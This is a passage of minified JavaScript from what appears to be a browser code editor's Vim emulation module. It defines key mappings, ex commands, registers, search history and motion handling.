Args:{forward:!0,linewise:!0}},{keys:\"k\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!1,linewise:!0}},{keys:\"gj\",type:\"motion\",motion:\"moveByDisplayLines\",motionArgs:{forward:!0}},{keys:\"gk\",type:\"motion\",motion:\"moveByDisplayLines\",motionArgs:{forward:!1}},{keys:\"w\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!1}},{keys:\"W\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!1,bigWord:!0}},{keys:\"e\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!0,inclusive:!0}},{keys:\"E\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:\"b\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!1}},{keys:\"B\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!1,bigWord:!0}},{keys:\"ge\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!0,inclusive:!0}},{keys:\"gE\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:\"{\",type:\"motion\",motion:\"moveByParagraph\",motionArgs:{forward:!1,toJumplist:!0}},{keys:\"}\",type:\"motion\",motion:\"moveByParagraph\",motionArgs:{forward:!0,toJumplist:!0}},{keys:\"<C-f>\",type:\"motion\",motion:\"moveByPage\",motionArgs:{forward:!0}},{keys:\"<C-b>\",type:\"motion\",motion:\"moveByPage\",motionArgs:{forward:!1}},{keys:\"<C-d>\",type:\"motion\",motion:\"moveByScroll\",motionArgs:{forward:!0,explicitRepeat:!0}},{keys:\"<C-u>\",type:\"motion\",motion:\"moveByScroll\",motionArgs:{forward:!1,explicitRepeat:!0}},{keys:\"gg\",type:\"motion\",motion:\"moveToLineOrEdgeOfDocument\",motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:\"G\",type:\"motion\",motion:\"moveToLineOrEdgeOfDocument\",motionArgs:{forward:!0,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:\"0\",type:\"motion\",motion:\"moveToStartOfLine\"},{keys:\"^\",type:\"motion\",motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\"+\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!0,toFirstChar:!0}},{keys:\"-\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!1,toFirstChar:!0}},{keys:\"_\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!0,toFirstChar:!0,repeatOffset:-1}},{keys:\"$\",type:\"motion\",motion:\"moveToEol\",motionArgs:{inclusive:!0}},{keys:\"%\",type:\"motion\",motion:\"moveToMatchedSymbol\",motionArgs:{inclusive:!0,toJumplist:!0}},{keys:\"f<character>\",type:\"motion\",motion:\"moveToCharacter\",motionArgs:{forward:!0,inclusive:!0}},{keys:\"F<character>\",type:\"motion\",motion:\"moveToCharacter\",motionArgs:{forward:!1}},{keys:\"t<character>\",type:\"motion\",motion:\"moveTillCharacter\",motionArgs:{forward:!0,inclusive:!0}},{keys:\"T<character>\",type:\"motion\",motion:\"moveTillCharacter\",motionArgs:{forward:!1}},{keys:\";\",type:\"motion\",motion:\"repeatLastCharacterSearch\",motionArgs:{forward:!0}},{keys:\",\",type:\"motion\",motion:\"repeatLastCharacterSearch\",motionArgs:{forward:!1}},{keys:\"'<character>\",type:\"motion\",motion:\"goToMark\",motionArgs:{toJumplist:!0,linewise:!0}},{keys:\"`<character>\",type:\"motion\",motion:\"goToMark\",motionArgs:{toJumplist:!0}},{keys:\"]`\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!0}},{keys:\"[`\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!1}},{keys:\"]'\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!0,linewise:!0}},{keys:\"['\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!1,linewise:!0}},{keys:\"]p\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!0,isEdit:!0,matchIndent:!0}},{keys:\"[p\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!1,isEdit:!0,matchIndent:!0}},{keys:\"]<character>\",type:\"motion\",motion:\"moveToSymbol\",motionArgs:{forward:!0,toJumplist:!0}},{keys:\"[<character>\",type:\"motion\",motion:\"moveToSymbol\",motionArgs:{forward:!1,toJumplist:!0}},{keys:\"|\",type:\"motion\",motion:\"moveToColumn\"},{keys:\"o\",type:\"motion\",motion:\"moveToOtherHighlightedEnd\",context:\"visual\"},{keys:\"O\",type:\"motion\",motion:\"moveToOtherHighlightedEnd\",motionArgs:{sameLine:!0},context:\"visual\"},{keys:\"d\",type:\"operator\",operator:\"delete\"},{keys:\"y\",type:\"operator\",operator:\"yank\"},{keys:\"c\",type:\"operator\",operator:\"change\"},{keys:\">\",type:\"operator\",operator:\"indent\",operatorArgs:{indentRight:!0}},{keys:\"<\",type:\"operator\",operator:\"indent\",operatorArgs:{indentRight:!1}},{keys:\"g~\",type:\"operator\",operator:\"changeCase\"},{keys:\"gu\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!0},isEdit:!0},{keys:\"gU\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!1},isEdit:!0},{keys:\"n\",type:\"motion\",motion:\"findNext\",motionArgs:{forward:!0,toJumplist:!0}},{keys:\"N\",type:\"motion\",motion:\"findNext\",motionArgs:{forward:!1,toJumplist:!0}},{keys:\"x\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveByCharacters\",motionArgs:{forward:!0},operatorMotionArgs:{visualLine:!1}},{keys:\"X\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveByCharacters\",motionArgs:{forward:!1},operatorMotionArgs:{visualLine:!0}},{keys:\"D\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveToEol\",motionArgs:{inclusive:!0},context:\"normal\"},{keys:\"D\",type:\"operator\",operator:\"delete\",operatorArgs:{linewise:!0},context:\"visual\"},{keys:\"Y\",type:\"operatorMotion\",operator:\"yank\",motion:\"moveToEol\",motionArgs:{inclusive:!0},context:\"normal\"},{keys:\"Y\",type:\"operator\",operator:\"yank\",operatorArgs:{linewise:!0},context:\"visual\"},{keys:\"C\",type:\"operatorMotion\",operator:\"change\",motion:\"moveToEol\",motionArgs:{inclusive:!0},context:\"normal\"},{keys:\"C\",type:\"operator\",operator:\"change\",operatorArgs:{linewise:!0},context:\"visual\"},{keys:\"~\",type:\"operatorMotion\",operator:\"changeCase\",motion:\"moveByCharacters\",motionArgs:{forward:!0},operatorArgs:{shouldMoveCursor:!0},context:\"normal\"},{keys:\"~\",type:\"operator\",operator:\"changeCase\",context:\"visual\"},{keys:\"<C-w>\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!1},context:\"insert\"},{keys:\"<C-i>\",type:\"action\",action:\"jumpListWalk\",actionArgs:{forward:!0}},{keys:\"<C-o>\",type:\"action\",action:\"jumpListWalk\",actionArgs:{forward:!1}},{keys:\"<C-e>\",type:\"action\",action:\"scroll\",actionArgs:{forward:!0,linewise:!0}},{keys:\"<C-y>\",type:\"action\",action:\"scroll\",actionArgs:{forward:!1,linewise:!0}},{keys:\"a\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"charAfter\"},context:\"normal\"},{keys:\"A\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"eol\"},context:\"normal\"},{keys:\"A\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"endOfSelectedArea\"},context:\"visual\"},{keys:\"i\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"inplace\"},context:\"normal\"},{keys:\"I\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"firstNonBlank\"},context:\"normal\"},{keys:\"I\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"startOfSelectedArea\"},context:\"visual\"},{keys:\"o\",type:\"action\",action:\"newLineAndEnterInsertMode\",isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!0},context:\"normal\"},{keys:\"O\",type:\"action\",action:\"newLineAndEnterInsertMode\",isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!1},context:\"normal\"},{keys:\"v\",type:\"action\",action:\"toggleVisualMode\"},{keys:\"V\",type:\"action\",action:\"toggleVisualMode\",actionArgs:{linewise:!0}},{keys:\"<C-v>\",type:\"action\",action:\"toggleVisualMode\",actionArgs:{blockwise:!0}},{keys:\"gv\",type:\"action\",action:\"reselectLastSelection\"},{keys:\"J\",type:\"action\",action:\"joinLines\",isEdit:!0},{keys:\"p\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!0,isEdit:!0}},{keys:\"P\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!1,isEdit:!0}},{keys:\"r<character>\",type:\"action\",action:\"replace\",isEdit:!0},{keys:\"@<character>\",type:\"action\",action:\"replayMacro\"},{keys:\"q<character>\",type:\"action\",action:\"enterMacroRecordMode\"},{keys:\"R\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{replace:!0}},{keys:\"u\",type:\"action\",action:\"undo\",context:\"normal\"},{keys:\"u\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!0},context:\"visual\",isEdit:!0},{keys:\"U\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!1},context:\"visual\",isEdit:!0},{keys:\"<C-r>\",type:\"action\",action:\"redo\"},{keys:\"m<character>\",type:\"action\",action:\"setMark\"},{keys:'\"<character>',type:\"action\",action:\"setRegister\"},{keys:\"zz\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"center\"}},{keys:\"z.\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"center\"},motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\"zt\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"top\"}},{keys:\"z<CR>\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"top\"},motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\"z-\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"bottom\"}},{keys:\"zb\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"bottom\"},motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\".\",type:\"action\",action:\"repeatLastEdit\"},{keys:\"<C-a>\",type:\"action\",action:\"incrementNumberToken\",isEdit:!0,actionArgs:{increase:!0,backtrack:!1}},{keys:\"<C-x>\",type:\"action\",action:\"incrementNumberToken\",isEdit:!0,actionArgs:{increase:!1,backtrack:!1}},{keys:\"a<character>\",type:\"motion\",motion:\"textObjectManipulation\"},{keys:\"i<character>\",type:\"motion\",motion:\"textObjectManipulation\",motionArgs:{textObjectInner:!0}},{keys:\"/\",type:\"search\",searchArgs:{forward:!0,querySrc:\"prompt\",toJumplist:!0}},{keys:\"?\",type:\"search\",searchArgs:{forward:!1,querySrc:\"prompt\",toJumplist:!0}},{keys:\"*\",type:\"search\",searchArgs:{forward:!0,querySrc:\"wordUnderCursor\",wholeWordOnly:!0,toJumplist:!0}},{keys:\"#\",type:\"search\",searchArgs:{forward:!1,querySrc:\"wordUnderCursor\",wholeWordOnly:!0,toJumplist:!0}},{keys:\"g*\",type:\"search\",searchArgs:{forward:!0,querySrc:\"wordUnderCursor\",toJumplist:!0}},{keys:\"g#\",type:\"search\",searchArgs:{forward:!1,querySrc:\"wordUnderCursor\",toJumplist:!0}},{keys:\":\",type:\"ex\"}],w=[{name:\"colorscheme\",shortName:\"colo\"},{name:\"map\"},{name:\"imap\",shortName:\"im\"},{name:\"nmap\",shortName:\"nm\"},{name:\"vmap\",shortName:\"vm\"},{name:\"unmap\"},{name:\"write\",shortName:\"w\"},{name:\"undo\",shortName:\"u\"},{name:\"redo\",shortName:\"red\"},{name:\"set\",shortName:\"se\"},{name:\"set\",shortName:\"se\"},{name:\"setlocal\",shortName:\"setl\"},{name:\"setglobal\",shortName:\"setg\"},{name:\"sort\",shortName:\"sor\"},{name:\"substitute\",shortName:\"s\",possiblyAsync:!0},{name:\"nohlsearch\",shortName:\"noh\"},{name:\"delmarks\",shortName:\"delm\"},{name:\"registers\",shortName:\"reg\",excludeFromCommandHistory:!0},{name:\"global\",shortName:\"g\"}],E=v.Pos,S=function(){return st};v.defineOption(\"vimMode\",!1,function(e,t,n){t&&e.getOption(\"keyMap\")!=\"vim\"?e.setOption(\"keyMap\",\"vim\"):!t&&n!=v.Init&&/^vim/.test(e.getOption(\"keyMap\"))&&e.setOption(\"keyMap\",\"default\")});var L={Shift:\"S\",Ctrl:\"C\",Alt:\"A\",Cmd:\"D\",Mod:\"A\"},A={Enter:\"CR\",Backspace:\"BS\",Delete:\"Del\"},_=/[\\d]/,D=[v.isWordChar,function(e){return e&&!v.isWordChar(e)&&!/\\s/.test(e)}],P=[function(e){return/\\S/.test(e)}],B=H(65,26),j=H(97,26),F=H(48,10),I=[].concat(B,j,F,[\"<\",\">\"]),q=[].concat(B,j,F,[\"-\",'\"',\".\",\":\",\"/\"]),J={};K(\"filetype\",undefined,\"string\",[\"ft\"],function(e,t){if(t===undefined)return;if(e===undefined){var n=t.getOption(\"mode\");return n==\"null\"?\"\":n}var n=e==\"\"?\"null\":e;t.setOption(\"mode\",n)});var Y=function(){function s(s,o,u){function l(n){var r=++t%e,o=i[r];o&&o.clear(),i[r]=s.setBookmark(n)}var a=t%e,f=i[a];if(f){var c=f.find();c&&!At(c,o)&&l(o)}else l(o);l(u),n=t,r=t-e+1,r<0&&(r=0)}function o(s,o){t+=o,t>n?t=n:t<r&&(t=r);var u=i[(e+t)%e];if(u&&!u.find()){var a=o>0?1:-1,f,l=s.getCursor();do{t+=a,u=i[(e+t)%e];if(u&&(f=u.find())&&!At(l,f))break}while(t<n&&t>r)}return u}var e=100,t=-1,n=0,r=0,i=new Array(e);return{cachedCursor:undefined,add:s,move:o}},Z=function(e){return e?{changes:e.changes,expectCursorActivityForChange:e.expectCursorActivityForChange}:{changes:[],expectCursorActivityForChange:!1}};et.prototype={exitMacroRecordMode:function(){var e=nt.macroModeState;e.onRecordingDone&&e.onRecordingDone(),e.onRecordingDone=undefined,e.isRecording=!1},enterMacroRecordMode:function(e,t){var n=nt.registerController.getRegister(t);n&&(n.clear(),this.latestRegister=t,e.openDialog&&(this.onRecordingDone=e.openDialog(\"(recording)[\"+t+\"]\",null,{bottom:!0})),this.isRecording=!0)}};var nt,it,st={buildKeyMap:function(){},getRegisterController:function(){return nt.registerController},resetVimGlobalState_:rt,getVimGlobalState_:function(){return nt},maybeInitVimState_:tt,suppressErrorLogging:!1,InsertModeKey:Gn,map:function(e,t,n){Fn.map(e,t,n)},unmap:function(e,t){Fn.unmap(e,t||\"normal\")},setOption:Q,getOption:G,defineOption:K,defineEx:function(e,t,n){if(!t)t=e;else if(e.indexOf(t)!==0)throw new Error('(Vim.defineEx) \"'+t+'\" is not a prefix of \"'+e+'\", command not registered');jn[e]=n,Fn.commandMap_[t]={name:e,shortName:t,type:\"api\"}},handleKey:function(e,t,n){var r=this.findKey(e,t,n);if(typeof r==\"function\")return r()},findKey:function(e,t,n){function i(){var r=nt.macroModeState;if(r.isRecording){if(t==\"q\")return r.exitMacroRecordMode(),ut(e),!0;n!=\"mapping\"&&Wn(r,t)}}function s(){if(t==\"<Esc>\")return ut(e),r.visualMode?$t(e):r.insertMode&&qn(e),!0}function o(n){var r;while(n)r=/<\\w+-.+?>|<\\w+>|./.exec(n),t=r[0],n=n.substring(r.index+t.length),v.Vim.handleKey(e,t,\"mapping\")}function u(){if(s())return!0;var n=r.inputState.keyBuffer=r.inputState.keyBuffer+t,i=t.length==1,o=ht.matchCommand(n,b,r.inputState,\"insert\");while(n.length>1&&o.type!=\"full\"){var n=r.inputState.keyBuffer=n.slice(1),u=ht.matchCommand(n,b,r.inputState,\"insert\");u.type!=\"none\"&&(o=u)}if(o.type==\"none\")return ut(e),!1;if(o.type==\"partial\")return it&&window.clearTimeout(it),it=window.setTimeout(function(){r.insertMode&&r.inputState.keyBuffer&&ut(e)},G(\"insertModeEscKeysTimeout\")),!i;it&&window.clearTimeout(it);if(i){var a=e.getCursor();e.replaceRange(\"\",St(a,0,-(n.length-1)),a,\"+input\")}return ut(e),o.command}function a(){if(i()||s())return!0;var n=r.inputState.keyBuffer=r.inputState.keyBuffer+t;if(/^[1-9]\\d*$/.test(n))return!0;var o=/^(\\d*)(.*)$/.exec(n);if(!o)return ut(e),!1;var u=r.visualMode?\"visual\":\"normal\",a=ht.matchCommand(o[2]||o[1],b,r.inputState,u);if(a.type==\"none\")return ut(e),!1;if(a.type==\"partial\")return!0;r.inputState.keyBuffer=\"\";var o=/^(\\d*)(.*)$/.exec(n);return o[1]&&o[1]!=\"0\"&&r.inputState.pushRepeatDigit(o[1]),a.command}var r=tt(e),f;return r.insertMode?f=u():f=a(),f===!1?undefined:f===!0?function(){return!0}:function(){if((f.operator||f.isEdit)&&e.getOption(\"readOnly\"))return;return e.operation(function(){e.curOp.isVimOp=!0;try{f.type==\"keyToKey\"?o(f.toKeys):ht.processCommand(e,r,f)}catch(t){throw e.state.vim=undefined,tt(e),v.Vim.suppressErrorLogging||console.log(t),t}return!0})}},handleEx:function(e,t){Fn.processCommand(e,t)},defineMotion:dt,defineAction:bt,defineOperator:gt,mapCommand:Un,_mapCommand:Rn,defineRegister:ft,exitVisualMode:$t,exitInsertMode:qn};ot.prototype.pushRepeatDigit=function(e){this.operator?this.motionRepeat=this.motionRepeat.concat(e):this.prefixRepeat=this.prefixRepeat.concat(e)},ot.prototype.getRepeat=function(){var e=0;if(this.prefixRepeat.length>0||this.motionRepeat.length>0)e=1,this.prefixRepeat.length>0&&(e*=parseInt(this.prefixRepeat.join(\"\"),10)),this.motionRepeat.length>0&&(e*=parseInt(this.motionRepeat.join(\"\"),10));return e},at.prototype={setText:function(e,t,n){this.keyBuffer=[e||\"\"],this.linewise=!!t,this.blockwise=!!n},pushText:function(e,t){t&&(this.linewise||this.keyBuffer.push(\"\\n\"),this.linewise=!0),this.keyBuffer.push(e)},pushInsertModeChanges:function(e){this.insertModeChanges.push(Z(e))},pushSearchQuery:function(e){this.searchQueries.push(e)},clear:function(){this.keyBuffer=[],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!1},toString:function(){return this.keyBuffer.join(\"\")}},lt.prototype={pushText:function(e,t,n,r,i){r&&n.charAt(0)==\"\\n\"&&(n=n.slice(1)+\"\\n\"),r&&n.charAt(n.length-1)!==\"\\n\"&&(n+=\"\\n\");var s=this.isValidRegister(e)?this.getRegister(e):null;if(!s){switch(t){case\"yank\":this.registers[0]=new at(n,r,i);break;case\"delete\":case\"change\":n.indexOf(\"\\n\")==-1?this.registers[\"-\"]=new at(n,r):(this.shiftNumericRegisters_(),this.registers[1]=new at(n,r))}this.unnamedRegister.setText(n,r,i);return}var o=X(e);o?s.pushText(n,r):s.setText(n,r,i),this.unnamedRegister.setText(s.toString(),r)},getRegister:function(e){return this.isValidRegister(e)?(e=e.toLowerCase(),this.registers[e]||(this.registers[e]=new at),this.registers[e]):this.unnamedRegister},isValidRegister:function(e){return e&&$(e,q)},shiftNumericRegisters_:function(){for(var e=9;e>=2;e--)this.registers[e]=this.getRegister(\"\"+(e-1))}},ct.prototype={nextMatch:function(e,t){var n=this.historyBuffer,r=t?-1:1;this.initialPrefix===null&&(this.initialPrefix=e);for(var i=this.iterator+r;t?i>=0:i<n.length;i+=r){var s=n[i];for(var o=0;o<=s.length;o++)if(this.initialPrefix==s.substring(0,o))return this.iterator=i,s}if(i>=n.length)return this.iterator=n.length,this.initialPrefix;if(i<0)return e},pushInput:function(e){var t=this.historyBuffer.indexOf(e);t>-1&&this.historyBuffer.splice(t,1),e.length&&this.historyBuffer.push(e)},reset:function(){this.initialPrefix=null,this.iterator=this.historyBuffer.length}};var ht={matchCommand:function(e,t,n,r){var i=Tt(e,t,r,n);if(!i.full&&!i.partial)return{type:\"none\"};if(!i.full&&i.partial)return{type:\"partial\"};var s;for(var o=0;o<i.full.length;o++){var u=i.full[o];s||(s=u)}return s.keys.slice(-11)==\"<character>\"&&(n.selectedCharacter=Ct(e)),{type:\"full\",command:s}},processCommand:function(e,t,n){t.inputState.repeatOverride=n.repeatOverride;switch(n.type){case\"motion\":this.processMotion(e,t,n);break;case\"operator\":this.processOperator(e,t,n);break;case\"operatorMotion\":this.processOperatorMotion(e,t,n);break;case\"action\":this.processAction(e,t,n);break;case\"search\":this.processSearch(e,t,n);break;case\"ex\":case\"keyToEx\":this.processEx(e,t,n);break;default:}},processMotion:function(e,t,n){t.inputState.motion=n.motion,t.inputState.motionArgs=Et(n.motionArgs),this.evalInput(e,t)},processOperator:function(e,t,n){var r=t.inputState;if(r.operator){if(r.operator==n.operator){r.motion=\"expandToLine\",r.motionArgs={linewise:!0},this.evalInput(e,t);return}ut(e)}r.operator=n.operator,r.operatorArgs=Et(n.operatorArgs),t.visualMode&&this.evalInput(e,t)},processOperatorMotion:function(e,t,n){var r=t.visualMode,i=Et(n.operatorMotionArgs);i&&r&&i.visualLine&&(t.visualLine=!0),this.processOperator(e,t,n),r||this.processMotion(e,t,n)},processAction:function(e,t,n){var r=t.inputState,i=r.getRepeat(),s=!!i,o=Et(n.actionArgs)||{};r.selectedCharacter&&(o.selectedCharacter=r.selectedCharacter),n.operator&&this.processOperator(e,t,n),n.motion&&this.processMotion(e,t,n),(n.motion||n.operator)&&this.evalInput(e,t),o.repeat=i||1,o.repeatIsExplicit=s,o.registerName=r.registerName,ut(e),t.lastMotion=null,n.isEdit&&this.recordLastEdit(t,r,n),yt[n.action](e,o,t)},processSearch:function(e,t,n){function a(r,i,s){nt.searchHistoryController.pushInput(r),nt.searchHistoryController.reset();try{An(e,r,i,s)}catch(o){Tn(e,\"Invalid regex: \"+r),ut(e);return}ht.processMotion(e,t,{type:\"motion\",motion:\"findNext\",motionArgs:{forward:!0,toJumplist:n.searchArgs.toJumplist}})}function f(t){e.scrollTo(u.left,u.top),a(t,!0,!0);var n=nt.macroModeState;n.isRecording&&Vn(n,t)}function l(t,n,i){var s=v.keyName(t),o;s==\"Up\"||s==\"Down\"?(o=s==\"Up\"?!0:!1,n=nt.searchHistoryController.nextMatch(n,o)||\"\",i(n)):s!=\"Left\"&&s!=\"Right\"&&s!=\"Ctrl\"&&s!=\"Alt\"&&s!=\"Shift\"&&nt.searchHistoryController.reset();var a;try{a=An(e,n,!0,!0)}catch(t){}a?e.scrollIntoView(_n(e,!r,a),30):(Dn(e),e.scrollTo(u.left,u.top))}function c(t,n,r){var i=v.keyName(t);i==\"Esc\"||i==\"Ctrl-C\"||i==\"Ctrl-[\"||i==\"Backspace\"&&n==\"\"?(nt.searchHistoryController.pushInput(n),nt.searchHistoryController.reset(),An(e,o),Dn(e),e.scrollTo(u.left,u.top),v.e_stop(t),ut(e),r(),e.focus()):i==\"Ctrl-U\"&&(v.e_stop(t),r(\"\"))}if(!e.getSearchCursor)return;var r=n.searchArgs.forward,i=n.searchArgs.wholeWordOnly;dn(e).setReversed(!r);var s=r?\"/\":\"?\",o=dn(e).getQuery(),u=e.getScrollInfo();switch(n.searchArgs.querySrc){case\"prompt\":var h=nt.macroModeState;if(h.isPlaying){var p=h.replaySearchQueries.shift();a(p,!0,!1)}else kn(e,{onClose:f,prefix:s,desc:Cn,onKeyUp:l,onKeyDown:c});break;case\"wordUnderCursor\":var d=Gt(e,!1,!0,!1,!0),m=!0;d||(d=Gt(e,!1,!0,!1,!1),m=!1);if(!d)return;var p=e.getLine(d.start.line).substring(d.start.ch,d.end.ch);m&&i?p=\"\\\\b\"+p+\"\\\\b\":p=Bt(p),nt.jumpList.cachedCursor=e.getCursor(),e.setCursor(d.start),a(p,!0,!1)}},processEx:function(e,t,n){function r(t){nt.exCommandHistoryController.pushInput(t),nt.exCommandHistoryController.reset(),Fn.processCommand(e,t)}function i(t,n,r){var i=v.keyName(t),s;if(i==\"Esc\"||i==\"Ctrl-C\"||i==\"Ctrl-[\"||i==\"Backspace\"&&n==\"\")nt.exCommandHistoryController.pushInput(n),nt.exCommandHistoryController.reset(),v.e_stop(t),ut(e),r(),e.focus();i==\"Up\"||i==\"Down\"?(s=i==\"Up\"?!0:!1,n=nt.exCommandHistoryController.nextMatch(n,s)||\"\",r(n)):i==\"Ctrl-U\"?(v.e_stop(t),r(\"\")):i!=\"Left\"&&i!=\"Right\"&&i!=\"Ctrl\"&&i!=\"Alt\"&&i!=\"Shift\"&&nt.exCommandHistoryController.reset()}n.type==\"keyToEx\"?Fn.processCommand(e,n.exArgs.input):t.visualMode?kn(e,{onClose:r,prefix:\":\",value:\"'<,'>\",onKeyDown:i}):kn(e,{onClose:r,prefix:\":\",onKeyDown:i})},evalInput:function(e,t){var n=t.inputState,r=n.motion,i=n.motionArgs||{},s=n.operator,o=n.operatorArgs||{},u=n.registerName,a=t.sel,f=Lt(t.visualMode?wt(e,a.head):e.getCursor(\"head\")),l=Lt(t.visualMode?wt(e,a.anchor):e.getCursor(\"anchor\")),c=Lt(f),h=Lt(l),p,d,v;s&&this.recordLastEdit(t,n),n.repeatOverride!==undefined?v=n.repeatOverride:v=n.getRepeat();if(v>0&&i.explicitRepeat)i.repeatIsExplicit=!0;else if(i.noRepeat||!i.explicitRepeat&&v===0)v=1,i.repeatIsExplicit=!1;n.selectedCharacter&&(i.selectedCharacter=o.selectedCharacter=n.selectedCharacter),i.repeat=v,ut(e);if(r){var m=pt[r](e,f,i,t);t.lastMotion=pt[r];if(!m)return;if(i.toJumplist){s||(e.ace.curOp.command.scrollIntoView=\"center-animate\");var g=nt.jumpList,y=g.cachedCursor;y?(Yt(e,y,m),delete g.cachedCursor):Yt(e,f,m)}m instanceof Array?(d=m[0],p=m[1]):p=m,p||(p=Lt(f));if(t.visualMode){if(!t.visualBlock||p.ch!==Infinity)p=wt(e,p,t.visualBlock);d&&(d=wt(e,d,!0)),d=d||h,a.anchor=d,a.head=p,Wt(e),an(e,t,\"<\",Ot(d,p)?d:p),an(e,t,\">\",Ot(d,p)?p:d)}else s||(p=wt(e,p),e.setCursor(p.line,p.ch))}if(s){if(o.lastSel){d=h;var b=o.lastSel,w=Math.abs(b.head.line-b.anchor.line),S=Math.abs(b.head.ch-b.anchor.ch);b.visualLine?p=E(h.line+w,h.ch):b.visualBlock?p=E(h.line+w,h.ch+S):b.head.line==b.anchor.line?p=E(h.line,h.ch+S):p=E(h.line+w,h.ch),t.visualMode=!0,t.visualLine=b.visualLine,t.visualBlock=b.visualBlock,a=t.sel={anchor:d,head:p},Wt(e)}else t.visualMode&&(o.lastSel={anchor:Lt(a.anchor),head:Lt(a.head),visualBlock:t.visualBlock,visualLine:t.visualLine});var x,T,N,C,k;if(t.visualMode){x=Mt(a.head,a.anchor),T=_t(a.head,a.anchor),N=t.visualLine||o.linewise,C=t.visualBlock?\"block\":N?\"line\":\"char\",k=Xt(e,{anchor:x,head:T},C);if(N){var L=k.ranges;if(C==\"block\")for(var A=0;A<L.length;A++)L[A].head.ch=Pt(e,L[A].head.line);else C==\"line\"&&(L[0].head=E(L[0].head.line+1,0))}}else{x=Lt(d||h),T=Lt(p||c);if(Ot(T,x)){var O=x;x=T,T=O}N=i.linewise||o.linewise,N?Kt(e,x,T):i.forward&&Jt(e,x,T),C=\"char\";var M=!i.inclusive||N;k=Xt(e,{anchor:x,head:T},C,M)}e.setSelections(k.ranges,k.primary),t.lastMotion=null,o.repeat=v,o.registerName=u,o.linewise=N;var _=mt[s](e,o,k.ranges,h,p);t.visualMode&&$t(e,_!=null),_&&e.setCursor(_)}},recordLastEdit:function(e,t,n){var r=nt.macroModeState;if(r.isPlaying)return;e.lastEditInputState=t,e.lastEditActionCommand=n,r.lastInsertModeChanges.changes=[],r.lastInsertModeChanges.expectCursorActivityForChange=!1}},pt={moveToTopLine:function(e,t,n){var r=Hn(e).top+n.repeat-1;return E(r,Qt(e.getLine(r)))},moveToMiddleLine:function(e){var t=Hn(e),n=Math.floor((t.top+t.bottom)*.5);return E(n,Qt(e.getLine(n)))},moveToBottomLine:function(e,t,n){var r=Hn(e).bottom-n.repeat+1;return E(r,Qt(e.getLine(r)))},expandToLine:function(e,t,n){var r=t;return E(r.line+n.repeat-1,Infinity)},findNext:function(e,t,n){var r=dn(e),i=r.getQuery();if(!i)return;var s=!n.forward;return s=r.isReversed()?!s:s,Mn(e,i),_n(e,s,i,n.repeat)},goToMark:function(e,t,n,r){var i=r.marks[n.selectedCharacter];if(i){var s=i.find();return n.linewise?{line:s.line,ch:Qt(e.getLine(s.line))}:s}return null},moveToOtherHighlightedEnd:function(e,t,n,r){if(r.visualBlock&&n.sameLine){var i=r.sel;return[wt(e,E(i.anchor.line,i.head.ch)),wt(e,E(i.head.line,i.anchor.ch))]}return[r.sel.head,r.sel.anchor]},jumpToMark:function(e,t,n,r){var i=t;for(var s=0;s<n.repeat;s++){var o=i;for(var u in r.marks){if(!U(u))continue;var a=r.marks[u].find(),f=n.forward?Ot(a,o):Ot(o,a);if(f)continue;if(n.linewise&&a.line==o.line)continue;var l=At(o,i),c=n.forward?Dt(o,a,i):Dt(i,a,o);if(l||c)i=a}}return n.linewise&&(i=E(i.line,Qt(e.getLine(i.line)))),i},moveByCharacters:function(e,t,n){var 